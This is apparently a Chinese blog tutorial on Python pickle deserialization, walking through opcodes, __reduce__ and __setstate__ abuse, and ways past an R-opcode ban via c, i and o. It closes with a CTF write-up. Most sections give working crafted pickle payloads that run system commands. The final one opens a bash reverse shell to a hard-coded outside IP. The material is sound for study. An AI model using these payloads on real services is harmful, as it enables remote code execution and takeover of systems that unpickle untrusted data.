python  pickle反序列化 
python的反序列化相对于php反序列化比较的单一,php反序列化通过不断的变量覆盖,使得各个方法之间互相调用,从而导致了恶意方法的调用,而对于python反序列化,通过恶意的构造语句,实现了的命令执行,他更加像是一种命令的注入
 
1.pickle序列化        把一些复杂的数据用字符串的方法储存起来,在使用的时候取出来重新反序列化就可以。
1 2 3 4 5 6 7 8 9 import  pickleclass  obj :   def  __init__ (self,str1,str2 ):       self.str1=str1;       self.str2=str2; class1=obj("str1" ,"str2" ) a=pickle.dumps(class1)       print (a)
分析
首先可以看到在class1的地方,可以看到程序在这里进入了__init__方法内部,讲两个值全部赋值给了obj类里面的两个类
然后继续跟踪,可以看到
检查各个属性有没有存在在相关的类里面,没有存在就抛出错误
然后创建一个列表遍历所有的属性同时进行处理
将收集到的属性名缓存到类的 __slotnames__ 属性中,并返回这些属性名
然后完成这一次的序列化,得到序列化的字符串,在pickle函数里面,是一串字符串
先贴上所有的字符表达的意思
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 PROTO          = b'\x80'    NEWOBJ         = b'\x81'    EXT1           = b'\x82'    EXT2           = b'\x83'    EXT4           = b'\x84'    TUPLE1         = b'\x85'    TUPLE2         = b'\x86'    TUPLE3         = b'\x87'    NEWTRUE        = b'\x88'    NEWFALSE       = b'\x89'    LONG1          = b'\x8a'    LONG4          = b'\x8b'    __main__.obj _tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3] BINBYTES       = b'B'     SHORT_BINBYTES = b'C'     SHORT_BINUNICODE = b'\x8c'    BINUNICODE8      = b'\x8d'    BINBYTES8        = b'\x8e'    EMPTY_SET        = b'\x8f'    ADDITEMS         = b'\x90'    FROZENSET        = b'\x91'    NEWOBJ_EX        = b'\x92'    STACK_GLOBAL     = b'\x93'    MEMOIZE          = b'\x94'    FRAME            = b'\x95'    BYTEARRAY8       = b'\x96'    NEXT_BUFFER      = b'\x97'    READONLY_BUFFER  = b'\x98'    opcode	描述	具体写法	栈上的变化	memo上的变化 c	获取一个全局对象或import 一个模块(注:会调用import 语句,能够引入新的包)	c[module]\n[instance]\n	获得的对象入栈	无 o	寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable ,第二个到第n个数据为参数,执行该函数(或实例化一个对象)	o	这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈	无 i	相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)	i[module]\n[callable ]\n	这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈	无 N	实例化一个None 	N	获得的对象入栈	无 S	实例化一个字符串对象	S'xxx' \n(也可以使用双引号、\'等python字符串形式)	获得的对象入栈	无  V	实例化一个UNICODE字符串对象	Vxxx\n	获得的对象入栈	无 I	实例化一个int对象	Ixxx\n	获得的对象入栈	无 F	实例化一个float对象	Fx.x\n	获得的对象入栈	无 R	选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数	R	函数和参数出栈,函数的返回值入栈无 .	程序结束,栈顶的一个元素作为pickle.loads()的返回值	.	无	无 (	向栈中压入一个MARK标记	(	MARK标记入栈	无 t	寻找栈中的上一个MARK,并组合之间的数据为元组	t	MARK标记以及被组合的数据出栈,获得的对象入栈	无 )	向栈中直接压入一个空元组	)	空元组入栈	无 l	寻找栈中的上一个MARK,并组合之间的数据为列表	l	MARK标记以及被组合的数据出栈,获得的对象入栈	无 ]	向栈中直接压入一个空列表	]	空列表入栈	无 d	寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)	d	MARK标记以及被组合的数据出栈,获得的对象入栈	无 }	向栈中直接压入一个空字典	}	空字典入栈	无 p	将栈顶对象储存至memo_n	pn\n	无	对象被储存 g	将memo_n的对象压栈	gn\n	对象被压栈	无 0	丢弃栈顶对象	0	栈顶对象被丢弃	无 b	使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置	b	栈上第一个元素出栈	无 s	将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中	s	第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新	无 u	寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中	u	MARK标记以及被组合的数据出栈,字典被更新	无 a	将栈的第一个元素append到第二个元素(列表)中	a	栈顶元素出栈,第二个元素(列表)被更新	无 e	寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中	e	MARK标记以及被组合的数据出栈,列表被更新	无 
在自己的程序里面添加上
看到分析后的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24     0 : \x80 PROTO      4      2 : \x95 FRAME      46     11 : \x8c SHORT_BINUNICODE '__main__'     21 : \x94 MEMOIZE    (as  0 )    22 : \x8c SHORT_BINUNICODE 'obj'     27 : \x94 MEMOIZE    (as  1 )    28 : \x93 STACK_GLOBAL    29 : \x94 MEMOIZE    (as  2 )    30 : )    EMPTY_TUPLE    31 : \x81 NEWOBJ    32 : \x94 MEMOIZE    (as  3 )    33 : }    EMPTY_DICT    34 : \x94 MEMOIZE    (as  4 )    35 : (    MARK    36 : \x8c     SHORT_BINUNICODE 'str1'     42 : \x94     MEMOIZE    (as  5 )    43 : h        BINGET     5     45 : \x8c     SHORT_BINUNICODE 'str2'     51 : \x94     MEMOIZE    (as  6 )    52 : h        BINGET     6     54 : u        SETITEMS   (MARK at 35 )    55 : b    BUILD    56 : .    STOP highest protocol among opcodes = 4  
通过使用
进入调试,去进行分析各个字符都去干了些什么
首先读入x80进行判断版本,马上读入x04,得到这个字符串的序列化的协议版本是4.,如果没有这个版本就报错直接抛出
然后读入后面的x95,这表示后面的字节码操作构成了一个帧,帧长度为 46。
将接下来的 46 个字节放入一个 8 字节的框架中,并将该框架的长度作为 32 位整数进行存储。
使用x8c,把一个短的字符串推入到这个栈里面,长度大小是x80,即后面的__main__,用x94把一个栈顶的数据储存在一个字典里面
此时的memo里面存在着
重复以上的操作,把长度是x03的”obj“推入到栈里面,然后存入到memo里面
构造一个__main__.obj类
读取/x93 把这个构造出来的对象缓存起来 ,放到这个stack里面
然后继续把main.b推入栈里面,这个时候栈里面只有一个main.b
读取到)的时候,将一个空的元组放入到当前的栈里面
然后读取到x81,也就是执行load_obj
可以看到将栈里面的东西弹出来
然后弹出来两个元素,一个空的元组和一个__main__.obj
然后对对象参数进行实例化,将类压入栈里面,这里实例化了obj这个对象,目前没有参数,然后再次压入到列表里面
}创建了一个字典,塞入到列表里面,现在列表里面是这样的
然后压入的mark操作符,触发loadmark
这里建立了一个前序栈meta,将这个main.obj压入到前序栈里面,同时置空当前的栈。
当前栈去处理接下来的信息,前序栈负责储存之前的状态 
 
这里先按下不表,看到前面x8c读取了一个str1的值
使用x94推入到栈里面
h是从缓存里面获得索引号为5的值,推入到栈里面
重复这个操作,将对应的成员值推入到相关的栈里面
这个时候当前栈的值是
这个时候读取到u,开始进行实例的赋值操作
记录下当前栈,将前面的前序栈(meta)里面的值覆盖掉现在当前栈里面的值
现在的item储存了原来starck的值
然后触发load_build
取出栈里面的末尾的东西{},开始两个一组的读取item里面的元素
一个是键名一个是键值,这个时候就出现了
1 {'str1':'str1','str':'str2'} 
最后栈里面存在就是这个b和这个字典
最后接受到build指令,使用dict的数据实例化对象b的值
现在我们得到了b的实例
3.reduce 如果reduce方法里面,存在一些风险函数,且里面的reduce方法中的参数我们可以操控,那么就产生了漏洞
或者压根就没有这个reduce方法,就会存在问题
reduce干了这样一件事情
取当前栈的栈顶记为args,然后把它弹掉。 
取当前栈的栈顶记为f,然后把它弹掉。 
以args为参数,执行函数f,把结果压进当前栈。 
 
 
举个例子
1 2 3 4 5 6 7 8 9 10 11 12 import  pickleimport  pickletoolsimport  osclass  obj :   def  __init__ (self,str1,str2 ):       self.str1=str1;       self.str2=str2;    def  __reduce__ (self ):       return (os.system,('dir' ,)) class1=obj("str1" ,"str2" ) a=pickle.dumps(class1)       print (a)
构造出来一个恶意的字符串
1 b'\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x03dir\x94\x85\x94R\x94.' 
然后放到没有reduce的里面,可以看到
成功执行了dir指令
我们分析这个字符串看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 0 : \x80 PROTO      4     2 : \x95 FRAME      27     11 : \x8c SHORT_BINUNICODE 'nt'     15 : \x94 MEMOIZE    (as  0 )    16 : \x8c SHORT_BINUNICODE 'system'     24 : \x94 MEMOIZE    (as  1 )    25 : \x93 STACK_GLOBAL    26 : \x94 MEMOIZE    (as  2 )    27 : \x8c SHORT_BINUNICODE 'dir'     32 : \x94 MEMOIZE    (as  3 )    33 : \x85 TUPLE1    34 : \x94 MEMOIZE    (as  4 )    35 : R    REDUCE    36 : \x94 MEMOIZE    (as  5 )    37 : .    STOP 
可以看到这里的r指令,将dir作为了system的参数,执行了这个函数
但是如果写死了reduce方法是安全的,或者ban掉了r指令,又该怎么去利用呢
4.类似方法 而在python中,同样的有几个内置方法,会在对象被反序列化时调用。他们分别是:
1 2 3 __reduce__()   __reduce_ex__()  __setstate__() 
通过在他们下面写入有问题的shellcode,造成rce
举例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import  pickleimport  pickletoolsimport  osclass  obj :   def  __init__ (self,str1,str2 ):       self.str1=str1;       self.str2=str2;    def  __setstate__ (self,name ):         os.system('dir' ) class1=obj("str1" ,"str2" ) a=pickle.dumps(class1)       print (a)b=a pickle.loads(b) 
效果
5.setstate方法 我们发现到在load_build里面存在一些函数
1 2 3 4 5 6 7 8 def  load_build (self ):        stack = self.stack         state = stack.pop()         inst = stack[-1 ]         setstate = getattr (inst, "__setstate__" , None )         if  setstate is  not  None :             setstate(state)             return  
state会从栈里面去除一个字符,同时inst也会去栈里面取出栈尾的字符
如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。
假设有是这个方法,那我们可以先构造把__setstate__方法构造成os.system,然后再次built,将这个值build为“ls /”,但是这个时候会被因为已经存在这个方法,那么就会被交给setstate去处理,于是乎就造成了rce
举个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import  pickleimport  pickletoolsimport  osclass  obj :    def  __init__ (self ):       self.str1="str1" ;       self.str2="str2" ;                 class1=obj() a=pickle.dumps(class1)       print (a)b=b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03obj\x94\x93\x94)\x81\x94}\x94(\x8c\x04str1\x94h\x05\x8c\x04str2\x94h\x06V__setstate__\ncos\nsystem\nubVdir\nb.'  pickle.loads(b) 
我们加入了恶意的字符串
1 (V__setstate__\ncos\nsystem\nubV\nb.' 
从而达到rce
6.C指令操作码 c指令基于find_class方法进行全局变量的寻找,假设有一个这样的程序
1 2 3 4 5 6 7 8 9 10 11 12 import  pickleimport  pickletoolsimport  osclass  obj :   def  __init__ (self,str1,str2 ):       self.str1=str1       self.str2=str2    def  __eq__ (self,other ):       return  type (other )is  obj and  self.str1==other.str1 and  self.str2==other.str2 a=pickle.dumps(obj(114514 ,"Web" ))       b=pickletools.optimize(a) pickletools.dis(b) 
可以看到序列化数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17     0 : \x80 PROTO      4      2 : \x95 FRAME      45     11 : \x8c SHORT_BINUNICODE '__main__'     21 : \x8c SHORT_BINUNICODE 'obj'     26 : \x93 STACK_GLOBAL    27 : )    EMPTY_TUPLE    28 : \x81 NEWOBJ    29 : }    EMPTY_DICT    30 : (    MARK    31 : \x8c     SHORT_BINUNICODE 'str1'     37 : J        BININT     114514     42 : \x8c     SHORT_BINUNICODE 'str2'     48 : \x8c     SHORT_BINUNICODE 'Web'     53 : u        SETITEMS   (MARK at 30 )    54 : b    BUILD    55 : .    STOP highest protocol among opcodes = 4  
1 b=b'\x80\x04\x95-\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x03obj\x93)\x81}(\x8c\x04str1JR\xbf\x01\x00\x8c\x04str2\x8c\x03Webub.'  
如果我们修改为c的指令码
使用
1 c=b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00c__main__\nobj\n}(Vstr1\nK\x06Vstr2\nV114514\nub0c__main__\nobj\n)\x81}(\x8c\x04str1K\x06\x8c\x04str2\x8c\x06114514ub.'  
将obj先压入栈,然后传入dict字典,然后改变了A的值,然后清空栈,压入和A相同的B类就可以做到绕过
7.i和o指令 分析load_inst函数
1 2 3 4 5 6 def  load_inst (self ):     module = self.readline()[:-1 ].decode("ascii" )      name = self.readline()[:-1 ].decode("ascii" )      klass = self.find_class(module, name)      self._instantiate(klass, self.pop_mark())  dispatch[INST[0 ]] = load_inst 
load_init使用了._instantiate(klass, self.pop_mark())这个函数
1 2 3 4 5 6 7 8 9 10 11 def  _instantiate (self, klass, args ):        if  (args or  not  isinstance (klass, type ) or              hasattr (klass, "__getinitargs__" )):             try :                 value = klass(*args)             except  TypeError as  err:                 raise  TypeError("in constructor for %s: %s"  %                                 (klass.__name__, str (err)), sys.exc_info()[2 ])         else :             value = klass.__new__(klass)         self.append(value) 
看到这里存在klass(*args),如果是system(‘ls’)就完成了rce
其中*pop_mark()*是前序栈的值赋值给当前栈的内容
1 b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(Vdir\nios\nsystem\n0c__main__\nB\n)b.' 
成功rce
o指令也是可以用于实例化一个类
同理,也是控制*__instantiate()*
修改payload
1 b'\x80\x04\x95+\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x8c\x01B\x93)\x81}(cos\nsystem\nX\x03\x00\x00\x00diro0b.' 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15  0 : \x80 PROTO      4   2 : \x95 FRAME      43  11 : \x8c SHORT_BINUNICODE '__main__' 21 : \x8c SHORT_BINUNICODE 'B' 24 : \x93 STACK_GLOBAL25 : )    EMPTY_TUPLE26 : \x81 NEWOBJ27 : }    EMPTY_DICT28 : (    MARK29 : c        GLOBAL     'os system' 40 : X        BINUNICODE 'dir' 48 : o        OBJ        (MARK at 28 )49 : 0     POP50 : b    BUILD51 : .    STOP
成功rce
8.羊城杯2023[pickleeeeeeeee] 前面是简单的session伪造
直接看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 @app.route('/src0de'  def  src0de ():    f = open (__file__, 'r' )     rsp = f.read()     f.close()     return  rsp[rsp.index("@app.route('/src0de')" ):] @app.route('/ppppppppppick1e'  def  ppppppppppick1e ():    try :         username = "admin"          rsp = make_response("Hello, %s "  % username)         rsp.headers['hint' ] = "Source in /src0de"          pick1e = request.cookies.get('pick1e' )         if  pick1e is  not  None :             pick1e = base64.b64decode(pick1e)         else :             return  rsp         if  check(pick1e):             pick1e = pickle.loads(pick1e)             return  "Go for it!!!"          else :             return  "No Way!!!"      except  Exception as  e:         error_message = str (e)         return  error_message     return  rsp class  GWHT ():    def  __init__ (self ):         pass  if  __name__ == '__main__' :    app.run('0.0.0.0' , port=80 ) 
ban了r指令,直接上面说了很多简单的指令了,这里不在赘述
1 b"(cos\nsystem\nS'bash -c \"bash -i >& /dev/tcp/47.120.0.245/3232 0>&1\"'\no." 
提权即可
图片迁移太麻烦了,就懒得干了